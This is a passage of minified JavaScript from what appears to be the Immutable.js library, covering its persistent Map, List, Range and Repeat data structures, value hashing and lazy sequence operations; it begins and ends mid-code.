0!==e.size&&t.size!==e.size||void 0!==t.__hash&&void 0!==e.__hash&&t.__hash!==e.__hash||a(t)!==a(e)||u(t)!==u(e)||f(t)!==f(e))return!1;if(0===t.size&&0===e.size)return!0;var n=!c(t);if(f(t)){var r=t.entries();return e.every((function(t,e){var i=r.next().value;return i&&_t(i[1],t)&&(n||_t(i[0],e))}))&&r.next().done}var i=!1;if(void 0===t.size)if(void 0===e.size)"function"==typeof t.cacheResult&&t.cacheResult();else{i=!0;var o=t;t=e,e=o}var l=!0,h=e.__iterate((function(e,r){if(n?!t.has(e):i?!_t(e,t.get(r,m)):!_t(t.get(r,m),e))return l=!1,!1}));return l&&t.size===h}function gt(t,e){if(!(this instanceof gt))return new gt(t,e);if(this._value=t,this.size=void 0===e?1/0:Math.max(0,e),0===this.size){if(Q)return Q;Q=this}}function mt(t,e){if(!t)throw new Error(e)}function bt(t,e,n){if(!(this instanceof bt))return new bt(t,e,n);if(mt(0!==n,"Cannot step a Range by 0"),t=t||0,void 0===e&&(e=1/0),n=void 0===n?1:Math.abs(n),e<t&&(n=-n),this._start=t,this._end=e,this._step=n,this.size=Math.max(0,Math.ceil((e-t)/n-1)+1),0===this.size){if(Z)return Z;Z=this}}function wt(){throw TypeError("Abstract")}function St(){}function Et(){}function Ot(){}J.prototype[tt]=!0,e(et,Y),et.prototype.get=function(t,e){return this.has(t)?this._array[z(this,t)]:e},et.prototype.__iterate=function(t,e){for(var n=this._array,r=n.length-1,i=0;i<=r;i++)if(!1===t(n[e?r-i:i],i,this))return i+1;return i},et.prototype.__iterator=function(t,e){var n=this._array,r=n.length-1,i=0;return new F((function(){return i>r?{value:void 0,done:!0}:K(t,i,n[e?r-i++:i++])}))},e(nt,$),nt.prototype.get=function(t,e){return void 0===e||this.has(t)?this._object[t]:e},nt.prototype.has=function(t){return this._object.hasOwnProperty(t)},nt.prototype.__iterate=function(t,e){for(var n=this._object,r=this._keys,i=r.length-1,o=0;o<=i;o++){var s=r[e?i-o:o];if(!1===t(n[s],s,this))return o+1}return o},nt.prototype.__iterator=function(t,e){var n=this._object,r=this._keys,i=r.length-1,o=0;return new F((function(){var s=r[e?i-o:o];return o++>i?{value:void 0,done:!0}:K(t,s,n[s])}))},nt.prototype[d]=!0,e(rt,Y),rt.prototype.__iterateUncached=function(t,e){if(e)return this.cacheResult().__iterate(t,e);var n=W(this._iterable),r=0;if(U(n))for(var i;!(i=n.next()).done&&!1!==t(i.value,r++,this););return r},rt.prototype.__iteratorUncached=function(t,e){if(e)return this.cacheResult().__iterator(t,e);var n=W(this._iterable);if(!U(n))return new F(V);var r=0;return new F((function(){var e=n.next();return e.done?e:K(t,r++,e.value)}))},e(it,Y),it.prototype.__iterateUncached=function(t,e){if(e)return this.cacheResult().__iterate(t,e);for(var n,r=this._iterator,i=this._iteratorCache,o=0;o<i.length;)if(!1===t(i[o],o++,this))return o;for(;!(n=r.next()).done;){var s=n.value;if(i[o]=s,!1===t(s,o++,this))break}return o},it.prototype.__iteratorUncached=function(t,e){if(e)return this.cacheResult().__iterator(t,e);var n=this._iterator,r=this._iteratorCache,i=0;return new F((function(){if(i>=r.length){var e=n.next();if(e.done)return e;r[i]=e.value}return K(t,i,r[i++])}))},e(gt,Y),gt.prototype.toString=function(){return 0===this.size?"Repeat []":"Repeat [ "+this._value+" "+this.size+" times ]"},gt.prototype.get=function(t,e){return this.has(t)?this._value:e},gt.prototype.includes=function(t){return _t(this._value,t)},gt.prototype.slice=function(t,e){var n=this.size;return C(t,e,n)?this:new gt(this._value,k(e,n)-D(t,n))},gt.prototype.reverse=function(){return this},gt.prototype.indexOf=function(t){return _t(this._value,t)?0:-1},gt.prototype.lastIndexOf=function(t){return _t(this._value,t)?this.size:-1},gt.prototype.__iterate=function(t,e){for(var n=0;n<this.size;n++)if(!1===t(this._value,n,this))return n+1;return n},gt.prototype.__iterator=function(t,e){var n=this,r=0;return new F((function(){return r<n.size?K(t,r++,n._value):{value:void 0,done:!0}}))},gt.prototype.equals=function(t){return t instanceof gt?_t(this._value,t._value):yt(t)},e(bt,Y),bt.prototype.toString=function(){return 0===this.size?"Range []":"Range [ "+this._start+"..."+this._end+(1!==this._step?" by "+this._step:"")+" ]"},bt.prototype.get=function(t,e){return this.has(t)?this._start+z(this,t)*this._step:e},bt.prototype.includes=function(t){var e=(t-this._start)/this._step;return e>=0&&e<this.size&&e===Math.floor(e)},bt.prototype.slice=function(t,e){return C(t,e,this.size)?this:(t=D(t,this.size),(e=k(e,this.size))<=t?new bt(0,0):new bt(this.get(t,this._end),this.get(e,this._end),this._step))},bt.prototype.indexOf=function(t){var e=t-this._start;if(e%this._step==0){var n=e/this._step;if(n>=0&&n<this.size)return n}return-1},bt.prototype.lastIndexOf=function(t){return this.indexOf(t)},bt.prototype.__iterate=function(t,e){for(var n=this.size-1,r=this._step,i=e?this._start+n*r:this._start,o=0;o<=n;o++){if(!1===t(i,o,this))return o+1;i+=e?-r:r}return o},bt.prototype.__iterator=function(t,e){var n=this.size-1,r=this._step,i=e?this._start+n*r:this._start,o=0;return new F((function(){var s=i;return i+=e?-r:r,o>n?{value:void 0,done:!0}:K(t,o++,s)}))},bt.prototype.equals=function(t){return t instanceof bt?this._start===t._start&&this._end===t._end&&this._step===t._step:yt(this,t)},e(wt,n),e(St,wt),e(Et,wt),e(Ot,wt),wt.Keyed=St,wt.Indexed=Et,wt.Set=Ot;var xt="function"==typeof Math.imul&&-2===Math.imul(4294967295,2)?Math.imul:function(t,e){var n=65535&(t|=0),r=65535&(e|=0);return n*r+((t>>>16)*r+n*(e>>>16)<<16>>>0)|0};function It(t){return t>>>1&1073741824|3221225471&t}function zt(t){if(!1===t||null==t)return 0;if("function"==typeof t.valueOf&&(!1===(t=t.valueOf())||null==t))return 0;if(!0===t)return 1;var e=typeof t;if("number"===e){if(t!=t||t===1/0)return 0;var n=0|t;for(n!==t&&(n^=4294967295*t);t>4294967295;)n^=t/=4294967295;return It(n)}if("string"===e)return t.length>jt?function(t){var e=Tt[t];return void 0===e&&(e=Mt(t),Bt===Pt&&(Bt=0,Tt={}),Bt++,Tt[t]=e),e}(t):Mt(t);if("function"==typeof t.hashCode)return t.hashCode();if("object"===e)return function(t){var e;if(Rt&&void 0!==(e=kt.get(t)))return e;if(void 0!==(e=t[qt]))return e;if(!Dt){if(void 0!==(e=t.propertyIsEnumerable&&t.propertyIsEnumerable[qt]))return e;if(void 0!==(e=function(t){if(t&&t.nodeType>0)switch(t.nodeType){case 1:return t.uniqueID;case 9:return t.documentElement&&t.documentElement.uniqueID}}(t)))return e}if(e=++At,1073741824&At&&(At=0),Rt)kt.set(t,e);else{if(void 0!==Ct&&!1===Ct(t))throw new Error("Non-extensible objects are not allowed as keys.");if(Dt)Object.defineProperty(t,qt,{enumerable:!1,configurable:!1,writable:!1,value:e});else if(void 0!==t.propertyIsEnumerable&&t.propertyIsEnumerable===t.constructor.prototype.propertyIsEnumerable)t.propertyIsEnumerable=function(){return this.constructor.prototype.propertyIsEnumerable.apply(this,arguments)},t.propertyIsEnumerable[qt]=e;else{if(void 0===t.nodeType)throw new Error("Unable to set a non-enumerable property on object.");t[qt]=e}}return e}(t);if("function"==typeof t.toString)return Mt(t.toString());throw new Error("Value type "+e+" cannot be hashed.")}function Mt(t){for(var e=0,n=0;n<t.length;n++)e=31*e+t.charCodeAt(n)|0;return It(e)}var Ct=Object.isExtensible,Dt=function(){try{return Object.defineProperty({},"@",{}),!0}catch(t){return!1}}();var kt,Rt="function"==typeof WeakMap;Rt&&(kt=new WeakMap);var At=0,qt="__immutablehash__";"function"==typeof Symbol&&(qt=Symbol(qt));var jt=16,Pt=255,Bt=0,Tt={};function Ft(t){mt(t!==1/0,"Cannot perform this action with an infinite size.")}function Kt(t){return null==t?te():Vt(t)&&!f(t)?t:te().withMutations((function(e){var n=r(t);Ft(n.size),n.forEach((function(t,n){return e.set(n,t)}))}))}function Vt(t){return!(!t||!t[Ut])}e(Kt,St),Kt.of=function(){var e=t.call(arguments,0);return te().withMutations((function(t){for(var n=0;n<e.length;n+=2){if(n+1>=e.length)throw new Error("Missing value for key: "+e[n]);t.set(e[n],e[n+1])}}))},Kt.prototype.toString=function(){return this.__toString("Map {","}")},Kt.prototype.get=function(t,e){return this._root?this._root.get(0,void 0,t,e):e},Kt.prototype.set=function(t,e){return ee(this,t,e)},Kt.prototype.setIn=function(t,e){return this.updateIn(t,m,(function(){return e}))},Kt.prototype.remove=function(t){return ee(this,t,m)},Kt.prototype.deleteIn=function(t){return this.updateIn(t,(function(){return m}))},Kt.prototype.update=function(t,e,n){return 1===arguments.length?t(this):this.updateIn([t],e,n)},Kt.prototype.updateIn=function(t,e,n){n||(n=e,e=void 0);var r=ce(this,sn(t),e,n);return r===m?void 0:r},Kt.prototype.clear=function(){return 0===this.size?this:this.__ownerID?(this.size=0,this._root=null,this.__hash=void 0,this.__altered=!0,this):te()},Kt.prototype.merge=function(){return oe(this,void 0,arguments)},Kt.prototype.mergeWith=function(e){return oe(this,e,t.call(arguments,1))},Kt.prototype.mergeIn=function(e){var n=t.call(arguments,1);return this.updateIn(e,te(),(function(t){return"function"==typeof t.merge?t.merge.apply(t,n):n[n.length-1]}))},Kt.prototype.mergeDeep=function(){return oe(this,se,arguments)},Kt.prototype.mergeDeepWith=function(e){var n=t.call(arguments,1);return oe(this,ae(e),n)},Kt.prototype.mergeDeepIn=function(e){var n=t.call(arguments,1);return this.updateIn(e,te(),(function(t){return"function"==typeof t.mergeDeep?t.mergeDeep.apply(t,n):n[n.length-1]}))},Kt.prototype.sort=function(t){return Re($e(this,t))},Kt.prototype.sortBy=function(t,e){return Re($e(this,e,t))},Kt.prototype.withMutations=function(t){var e=this.asMutable();return t(e),e.wasAltered()?e.__ensureOwner(this.__ownerID):this},Kt.prototype.asMutable=function(){return this.__ownerID?this:this.__ensureOwner(new O)},Kt.prototype.asImmutable=function(){return this.__ensureOwner()},Kt.prototype.wasAltered=function(){return this.__altered},Kt.prototype.__iterator=function(t,e){return new Xt(this,t,e)},Kt.prototype.__iterate=function(t,e){var n=this,r=0;return this._root&&this._root.iterate((function(e){return r++,t(e[1],e[0],n)}),e),r},Kt.prototype.__ensureOwner=function(t){return t===this.__ownerID?this:t?Zt(this.size,this._root,t,this.__hash):(this.__ownerID=t,this.__altered=!1,this)},Kt.isMap=Vt;var Lt,Ut="@@__IMMUTABLE_MAP__@@",Wt=Kt.prototype;function Nt(t,e){this.ownerID=t,this.entries=e}function Ht(t,e,n){this.ownerID=t,this.bitmap=e,this.nodes=n}function Jt(t,e,n){this.ownerID=t,this.count=e,this.nodes=n}function $t(t,e,n){this.ownerID=t,this.keyHash=e,this.entries=n}function Yt(t,e,n){this.ownerID=t,this.keyHash=e,this.entry=n}function Xt(t,e,n){this._type=e,this._reverse=n,this._stack=t._root&&Qt(t._root)}function Gt(t,e){return K(t,e[0],e[1])}function Qt(t,e){return{node:t,index:0,__prev:e}}function Zt(t,e,n,r){var i=Object.create(Wt);return i.size=t,i._root=e,i.__ownerID=n,i.__hash=r,i.__altered=!1,i}function te(){return Lt||(Lt=Zt(0))}function ee(t,e,n){var r,i;if(t._root){var o=S(b),s=S(w);if(r=ne(t._root,t.__ownerID,0,void 0,e,n,o,s),!s.value)return t;i=t.size+(o.value?n===m?-1:1:0)}else{if(n===m)return t;i=1,r=new Nt(t.__ownerID,[[e,n]])}return t.__ownerID?(t.size=i,t._root=r,t.__hash=void 0,t.__altered=!0,t):r?Zt(i,r):te()}function ne(t,e,n,r,i,o,s,a){return t?t.update(e,n,r,i,o,s,a):o===m?t:(E(a),E(s),new Yt(e,r,[i,o]))}function re(t){return t.constructor===Yt||t.constructor===$t}function ie(t,e,n,r,i){if(t.keyHash===r)return new $t(e,r,[t.entry,i]);var o,s=(0===n?t.keyHash:t.keyHash>>>n)&g,a=(0===n?r:r>>>n)&g;return new Ht(e,1<<s|1<<a,s===a?[ie(t,e,n+_,r,i)]:(o=new Yt(e,r,i),s<a?[t,o]:[o,t]))}function oe(t,e,n){for(var i=[],o=0;o<n.length;o++){var a=n[o],u=r(a);s(a)||(u=u.map((function(t){return ht(t)}))),i.push(u)}return ue(t,e,i)}function se(t,e,n){return t&&t.mergeDeep&&s(e)?t.mergeDeep(e):_t(t,e)?t:e}function ae(t){return function(e,n,r){if(e&&e.mergeDeepWith&&s(n))return e.mergeDeepWith(t,n);var i=t(e,n,r);return _t(e,i)?e:i}}function ue(t,e,n){return 0===(n=n.filter((function(t){return 0!==t.size}))).length?t:0!==t.size||t.__ownerID||1!==n.length?t.withMutations((function(t){for(var r=e?function(n,r){t.update(r,m,(function(t){return t===m?n:e(t,n,r)}))}:function(e,n){t.set(n,e)},i=0;i<n.length;i++)n[i].forEach(r)})):t.constructor(n[0])}function ce(t,e,n,r){var i=t===m,o=e.next();if(o.done){var s=i?n:t,a=r(s);return a===s?t:a}mt(i||t&&t.set,"invalid keyPath");var u=o.value,c=i?m:t.get(u,m),f=ce(c,e,n,r);return f===c?t:f===m?t.remove(u):(i?te():t).set(u,f)}function fe(t){return t=(t=(858993459&(t-=t>>1&1431655765))+(t>>2&858993459))+(t>>4)&252645135,127&(t+=t>>8)+(t>>16)}function le(t,e,n,r){var i=r?t:x(t);return i[e]=n,i}Wt[Ut]=!0,Wt[v]=Wt.remove,Wt.removeIn=Wt.deleteIn,Nt.prototype.get=function(t,e,n,r){for(var i=this.entries,o=0,s=i.length;o<s;o++)if(_t(n,i[o][0]))return i[o][1];return r},Nt.prototype.update=function(t,e,n,r,i,o,s){for(var a=i===m,u=this.entries,c=0,f=u.length;c<f&&!_t(r,u[c][0]);c++);var l=c<f;if(l?u[c][1]===i:a)return this;if(E(s),(a||!l)&&E(o),!a||1!==u.length){if(!l&&!a&&u.length>=he)return function(t,e,n,r){t||(t=new O);for(var i=new Yt(t,zt(n),[n,r]),o=0;o<e.length;o++){var s=e[o];i=i.update(t,0,void 0,s[0],s[1])}return i}(t,u,r,i);var h=t&&t===this.ownerID,p=h?u:x(u);return l?a?c===f-1?p.pop():p[c]=p.pop():p[c]=[r,i]:p.push([r,i]),h?(this.entries=p,this):new Nt(t,p)}},Ht.prototype.get=function(t,e,n,r){void 0===e&&(e=zt(n));var i=1<<((0===t?e:e>>>t)&g),o=this.bitmap;return 0==(o&i)?r:this.nodes[fe(o&i-1)].get(t+_,e,n,r)},Ht.prototype.update=function(t,e,n,r,i,o,s){void 0===n&&(n=zt(r));var a=(0===e?n:n>>>e)&g,u=1<<a,c=this.bitmap,f=0!=(c&u);if(!f&&i===m)return this;var l=fe(c&u-1),h=this.nodes,p=f?h[l]:void 0,d=ne(p,t,e+_,n,r,i,o,s);if(d===p)return this;if(!f&&d&&h.length>=pe)return function(t,e,n,r,i){for(var o=0,s=new Array(y),a=0;0!==n;a++,n>>>=1)s[a]=1&n?e[o++]:void 0;return s[r]=i,new Jt(t,o+1,s)}(t,h,c,a,d);if(f&&!d&&2===h.length&&re(h[1^l]))return h[1^l];if(f&&d&&1===h.length&&re(d))return d;var v=t&&t===this.ownerID,b=f?d?c:c^u:c|u,w=f?d?le(h,l,d,v):function(t,e,n){var r=t.length-1;if(n&&e===r)return t.pop(),t;for(var i=new Array(r),o=0,s=0;s<r;s++)s===e&&(o=1),i[s]=t[s+o];return i}(h,l,v):function(t,e,n,r){var i=t.length+1;if(r&&e+1===i)return t[e]=n,t;for(var o=new Array(i),s=0,a=0;a<i;a++)a===e?(o[a]=n,s=-1):o[a]=t[a+s];return o}(h,l,d,v);return v?(this.bitmap=b,this.nodes=w,this):new Ht(t,b,w)},Jt.prototype.get=function(t,e,n,r){void 0===e&&(e=zt(n));var i=(0===t?e:e>>>t)&g,o=this.nodes[i];return o?o.get(t+_,e,n,r):r},Jt.prototype.update=function(t,e,n,r,i,o,s){void 0===n&&(n=zt(r));var a=(0===e?n:n>>>e)&g,u=i===m,c=this.nodes,f=c[a];if(u&&!f)return this;var l=ne(f,t,e+_,n,r,i,o,s);if(l===f)return this;var h=this.count;if(f){if(!l&&--h<de)return function(t,e,n,r){for(var i=0,o=0,s=new Array(n),a=0,u=1,c=e.length;a<c;a++,u<<=1){var f=e[a];void 0!==f&&a!==r&&(i|=u,s[o++]=f)}return new Ht(t,i,s)}(t,c,h,a)}else h++;var p=t&&t===this.ownerID,d=le(c,a,l,p);return p?(this.count=h,this.nodes=d,this):new Jt(t,h,d)},$t.prototype.get=function(t,e,n,r){for(var i=this.entries,o=0,s=i.length;o<s;o++)if(_t(n,i[o][0]))return i[o][1];return r},$t.prototype.update=function(t,e,n,r,i,o,s){void 0===n&&(n=zt(r));var a=i===m;if(n!==this.keyHash)return a?this:(E(s),E(o),ie(this,t,e,n,[r,i]));for(var u=this.entries,c=0,f=u.length;c<f&&!_t(r,u[c][0]);c++);var l=c<f;if(l?u[c][1]===i:a)return this;if(E(s),(a||!l)&&E(o),a&&2===f)return new Yt(t,this.keyHash,u[1^c]);var h=t&&t===this.ownerID,p=h?u:x(u);return l?a?c===f-1?p.pop():p[c]=p.pop():p[c]=[r,i]:p.push([r,i]),h?(this.entries=p,this):new $t(t,this.keyHash,p)},Yt.prototype.get=function(t,e,n,r){return _t(n,this.entry[0])?this.entry[1]:r},Yt.prototype.update=function(t,e,n,r,i,o,s){var a=i===m,u=_t(r,this.entry[0]);return(u?i===this.entry[1]:a)?this:(E(s),a?void E(o):u?t&&t===this.ownerID?(this.entry[1]=i,this):new Yt(t,this.keyHash,[r,i]):(E(o),ie(this,t,e,zt(r),[r,i])))},Nt.prototype.iterate=$t.prototype.iterate=function(t,e){for(var n=this.entries,r=0,i=n.length-1;r<=i;r++)if(!1===t(n[e?i-r:r]))return!1},Ht.prototype.iterate=Jt.prototype.iterate=function(t,e){for(var n=this.nodes,r=0,i=n.length-1;r<=i;r++){var o=n[e?i-r:r];if(o&&!1===o.iterate(t,e))return!1}},Yt.prototype.iterate=function(t,e){return t(this.entry)},e(Xt,F),Xt.prototype.next=function(){for(var t=this._type,e=this._stack;e;){var n,r=e.node,i=e.index++;if(r.entry){if(0===i)return Gt(t,r.entry)}else if(r.entries){if(i<=(n=r.entries.length-1))return Gt(t,r.entries[this._reverse?n-i:i])}else if(i<=(n=r.nodes.length-1)){var o=r.nodes[this._reverse?n-i:i];if(o){if(o.entry)return Gt(t,o.entry);e=this._stack=Qt(o,e)}continue}e=this._stack=this._stack.__prev}return{value:void 0,done:!0}};var he=y/4,pe=y/2,de=y/4;function ve(t){var e=xe();if(null==t)return e;if(_e(t))return t;var n=i(t),r=n.size;return 0===r?e:(Ft(r),r>0&&r<y?Oe(0,r,_,null,new me(n.toArray())):e.withMutations((function(t){t.setSize(r),n.forEach((function(e,n){return t.set(n,e)}))})))}function _e(t){return!(!t||!t[ye])}e(ve,Et),ve.of=function(){return this(arguments)},ve.prototype.toString=function(){return this.__toString("List [","]")},ve.prototype.get=function(t,e){if((t=z(this,t))>=0&&t<this.size){var n=Me(this,t+=this._origin);return n&&n.array[t&g]}return e},ve.prototype.set=function(t,e){return function(t,e,n){if((e=z(t,e))!=e)return t;if(e>=t.size||e<0)return t.withMutations((function(t){e<0?Ce(t,e).set(0,n):Ce(t,0,e+1).set(e,n)}));e+=t._origin;var r=t._tail,i=t._root,o=S(w);return e>=ke(t._capacity)?r=Ie(r,t.__ownerID,0,e,n,o):i=Ie(i,t.__ownerID,t._level,e,n,o),o.value?t.__ownerID?(t._root=i,t._tail=r,t.__hash=void 0,t.__altered=!0,t):Oe(t._origin,t._capacity,t._level,i,r):t}(this,t,e)},ve.prototype.remove=function(t){return this.has(t)?0===t?this.shift():t===this.size-1?this.pop():this.splice(t,1):this},ve.prototype.insert=function(t,e){return this.splice(t,0,e)},ve.prototype.clear=function(){return 0===this.size?this:this.__ownerID?(this.size=this._origin=this._capacity=0,this._level=_,this._root=this._tail=null,this.__hash=void 0,this.__altered=!0,this):xe()},ve.prototype.push=function(){var t=arguments,e=this.size;return this.withMutations((function(n){Ce(n,0,e+t.length);for(var r=0;r<t.length;r++)n.set(e+r,t[r])}))},ve.prototype.pop=function(){return Ce(this,0,-1)},ve.prototype.unshift=function(){var t=arguments;return this.withMutations((function(e){Ce(e,-t.length);for(var n=0;n<t.length;n++)e.set(n,t[n])}))},ve.prototype.shift=function(){return Ce(this,1)},ve.prototype.merge=function(){return De(this,void 0,arguments)},ve.prototype.mergeWith=function(e){return De(this,e,t.call(arguments,1))},ve.prototype.mergeDeep=function(){return De(this,se,arguments)},ve.prototype.mergeDeepWith=function(e){var n=t.call(arguments,1);return De(this,ae(e),n)},ve.prototype.setSize=function(t){return Ce(this,0,t)},ve.prototype.slice=function(t,e){var n=this.size;return C(t,e,n)?this:Ce(this,D(t,n),k(e,n))},ve.prototype.__iterator=function(t,e){var n=0,r=Ee(this,e);return new F((function(){var e=r();return e===Se?{value:void 0,done:!0}:K(t,n++,e)}))},ve.prototype.__iterate=function(t,e){for(var n,r=0,i=Ee(this,e);(n=i())!==Se&&!1!==t(n,r++,this););return r},ve.prototype.__ensureOwner=function(t){return t===this.__ownerID?this:t?Oe(this._origin,this._capacity,this._level,this._root,this._tail,t,this.__hash):(this.__ownerID=t,this)},ve.isList=_e;var ye="@@__IMMUTABLE_LIST__@@",ge=ve.prototype;function me(t,e){this.array=t,this.ownerID=e}ge[ye]=!0,ge[v]=ge.remove,ge.setIn=Wt.setIn,ge.deleteIn=ge.removeIn=Wt.removeIn,ge.update=Wt.update,ge.updateIn=Wt.updateIn,ge.mergeIn=Wt.mergeIn,ge.mergeDeepIn=Wt.mergeDeepIn,ge.withMutations=Wt.withMutations,ge.asMutable=Wt.asMutable,ge.asImmutable=Wt.asImmutable,ge.wasAltered=Wt.wasAltered,me.prototype.removeBefore=function(t,e,n){if(n===e?1<<e:0===this.array.length)return this;var r=n>>>e&g;if(r>=this.array.length)return new me([],t);var i,o=0===r;if(e>0){var s=this.array[r];if((i=s&&s.removeBefore(t,e-_,n))===s&&o)return this}if(o&&!i)return this;var a=ze(this,t);if(!o)for(var u=0;u<r;u++)a.array[u]=void 0;return i&&(a.array[r]=i),a},me.prototype.removeAfter=function(t,e,n){if(n===(e?1<<e:0)||0===this.array.length)return this;var r,i=n-1>>>e&g;if(i>=this.array.length)return this;if(e>0){var o=this.array[i];if((r=o&&o.removeAfter(t,e-_,n))===o&&i===this.array.length-1)return this}var s=ze(this,t);return s.array.splice(i+1),r&&(s.array[i]=r),s};var be,we,Se={};function Ee(t,e){var n=t._origin,r=t._capacity,i=ke(r),o=t._tail;return s(t._root,t._level,0);function s(t,a,u){return 0===a?function(t,s){var a=s===i?o&&o.array:t&&t.array,u=s>n?0:n-s,c=r-s;return c>y&&(c=y),function(){if(u===c)return Se;var t=e?--c:u++;return a&&a[t]}}(t,u):function(t,i,o){var a,u=t&&t.array,c=o>n?0:n-o>>i,f=1+(r-o>>i);return f>y&&(f=y),function(){for(;;){if(a){var t=a();if(t!==Se)return t;a=null}if(c===f)return Se;var n=e?--f:c++;a=s(u&&u[n],i-_,o+(n<<i))}}}(t,a,u)}}function Oe(t,e,n,r,i,o,s){var a=Object.create(ge);return a.size=e-t,a._origin=t,a._capacity=e,a._level=n,a._root=r,a._tail=i,a.__ownerID=o,a.__hash=s,a.__altered=!1,a}function xe(){return be||(be=Oe(0,0,_))}function Ie(t,e,n,r,i,o){var s,a=r>>>n&g,u=t&&a<t.array.length;if(!u&&void 0===i)return t;if(n>0){var c=t&&t.array[a],f=Ie(c,e,n-_,r,i,o);return f===c?t:((s=ze(t,e)).array[a]=f,s)}return u&&t.array[a]===i?t:(E(o),s=ze(t,e),void 0===i&&a===s.array.length-1?s.array.pop():s.array[a]=i,s)}function ze(t,e){return e&&t&&e===t.ownerID?t:new me(t?t.array.slice():[],e)}function Me(t,e){if(e>=ke(t._capacity))return t._tail;if(e<1<<t._level+_){for(var n=t._root,r=t._level;n&&r>0;)n=n.array[e>>>r&g],r-=_;return n}}function Ce(t,e,n){void 0!==e&&(e|=0),void 0!==n&&(n|=0);var r=t.__ownerID||new O,i=t._origin,o=t._capacity,s=i+e,a=void 0===n?o:n<0?o+n:i+n;if(s===i&&a===o)return t;if(s>=a)return t.clear();for(var u=t._level,c=t._root,f=0;s+f<0;)c=new me(c&&c.array.length?[void 0,c]:[],r),f+=1<<(u+=_);f&&(s+=f,i+=f,a+=f,o+=f);for(var l=ke(o),h=ke(a);h>=1<<u+_;)c=new me(c&&c.array.length?[c]:[],r),u+=_;var p=t._tail,d=h<l?Me(t,a-1):h>l?new me([],r):p;if(p&&h>l&&s<o&&p.array.length){for(var v=c=ze(c,r),y=u;y>_;y-=_){var m=l>>>y&g;v=v.array[m]=ze(v.array[m],r)}v.array[l>>>_&g]=p}if(a<o&&(d=d&&d.removeAfter(r,0,a)),s>=h)s-=h,a-=h,u=_,c=null,d=d&&d.removeBefore(r,0,s);else if(s>i||h<l){for(f=0;c;){var b=s>>>u&g;if(b!==h>>>u&g)break;b&&(f+=(1<<u)*b),u-=_,c=c.array[b]}c&&s>i&&(c=c.removeBefore(r,u,s-f)),c&&h<l&&(c=c.removeAfter(r,u,h-f)),f&&(s-=f,a-=f)}return t.__ownerID?(t.size=a-s,t._origin=s,t._capacity=a,t._level=u,t._root=c,t._tail=d,t.__hash=void 0,t.__altered=!0,t):Oe(s,a,u,c,d)}function De(t,e,n){for(var r=[],o=0,a=0;a<n.length;a++){var u=n[a],c=i(u);c.size>o&&(o=c.size),s(u)||(c=c.map((function(t){return ht(t)}))),r.push(c)}return o>t.size&&(t=t.setSize(o)),ue(t,e,r)}function ke(t){return t<y?0:t-1>>>_<<_}function Re(t){return null==t?je():Ae(t)?t:je().withMutations((function(e){var n=r(t);Ft(n.size),n.forEach((function(t,n){return e.set(n,t)}))}))}function Ae(t){return Vt(t)&&f(t)}function qe(t,e,n,r){var i=Object.create(Re.prototype);return i.size=t?t.size:0,i._map=t,i._list=e,i.__ownerID=n,i.__hash=r,i}function je(){return we||(we=qe(te(),xe()))}function Pe(t,e,n){var r,i,o=t._map,s=t._list,a=o.get(e),u=void 0!==a;if(n===m){if(!u)return t;s.size>=y&&s.size>=2*o.size?(r=(i=s.filter((function(t,e){return void 0!==t&&a!==e}))).toKeyedSeq().map((function(t){return t[0]})).flip().toMap(),t.__ownerID&&(r.__ownerID=i.__ownerID=t.__ownerID)):(r=o.remove(e),i=a===s.size-1?s.pop():s.set(a,void 0))}else if(u){if(n===s.get(a)[1])return t;r=o,i=s.set(a,[e,n])}else r=o.set(e,s.size),i=s.set(s.size,[e,n]);return t.__ownerID?(t.size=r.size,t._map=r,t._list=i,t.__hash=void 0,t):qe(r,i)}function Be(t,e){this._iter=t,this._useKeys=e,this.size=t.size}function Te(t){this._iter=t,this.size=t.size}function Fe(t){this._iter=t,this.size=t.size}function Ke(t){this._iter=t,this.size=t.size}function Ve(t){var e=nn(t);return e._iter=t,e.size=t.size,e.flip=function(){return t},e.reverse=function(){var e=t.reverse.apply(this);return e.flip=function(){return t.reverse()},e},e.has=function(e){return t.includes(e)},e.includes=function(e){return t.has(e)},e.cacheResult=rn,e.__iterateUncached=function(e,n){var r=this;return t.__iterate((function(t,n){return!1!==e(n,t,r)}),n)},e.__iteratorUncached=function(e,n){if(e===j){var r=t.__iterator(e,n);return new F((function(){var t=r.next();if(!t.done){var e=t.value[0];t.value[0]=t.value[1],t.value[1]=e}return t}))}return t.__iterator(e===q?A:q,n)},e}function Le(t,e,n){var r=nn(t);return r.size=t.size,r.has=function(e){return t.has(e)},r.get=function(r,i){var o=t.get(r,m);return o===m?i:e.call(n,o,r,t)},r.__iterateUncached=function(r,i){var o=this;return t.__iterate((function(t,i,s){return!1!==r(e.call(n,t,i,s),i,o)}),i)},r.__iteratorUncached=function(r,i){var o=t.__iterator(j,i);return new F((function(){var i=o.next();if(i.done)return i;var s=i.value,a=s[0];return K(r,a,e.call(n,s[1],a,t),i)}))},r}function Ue(t,e){var n=nn(t);return n._iter=t,n.size=t.size,n.reverse=function(){return t},t.flip&&(n.flip=function(){var e=Ve(t);return e.reverse=function(){return t.flip()},e}),n.get=function(n,r){return t.get(e?n:-1-n,r)},n.has=function(n){return t.has(e?n:-1-n)},n.includes=function(e){return t.includes(e)},n.cacheResult=rn,n.__iterate=function(e,n){var r=this;return t.__iterate((function(t,n){return e(t,n,r)}),!n)},n.__iterator=function(e,n){return t.__iterator(e,!n)},n}function We(t,e,n,r){var i=nn(t);return r&&(i.has=function(r){var i=t.get(r,m);return i!==m&&!!e.call(n,i,r,t)},i.get=function(r,i){var o=t.get(r,m);return o!==m&&e.call(n,o,r,t)?o:i}),i.__iterateUncached=function(i,o){var s=this,a=0;return t.__iterate((function(t,o,u){if(e.call(n,t,o,u))return a++,i(t,r?o:a-1,s)}),o),a},i.__iteratorUncached=function(i,o){var s=t.__iterator(j,o),a=0;return new F((function(){for(;;){var o=s.next();if(o.done)return o;var u=o.value,c=u[0],f=u[1];if(e.call(n,f,c,t))return K(i,r?c:a++,f,o)}}))},i}function Ne(t,e,n,r){var i=t.size;if(void 0!==e&&(e|=0),void 0!==n&&(n===1/0?n=i:n|=0),C(e,n,i))return t;var o=D(e,i),s=k(n,i);if(o!=o||s!=s)return Ne(t.toSeq().cacheResult(),e,n,r);var a,u=s-o;u==u&&(a=u<0?0:u);var c=nn(t);return c.size=0===a?a:t.size&&a||void 0,!r&&ot(t)&&a>=0&&(c.get=function(e,n){return(e=z(this,e))>=0&&e<a?t.get(e+o,n):n}),c.__iterateUncached=function(e,n){var i=this;if(0===a)return 0;if(n)return this.cacheResult().__iterate(e,n);var s=0,u=!0,c=0;return t.__iterate((function(t,n){if(!u||!(u=s++<o))return 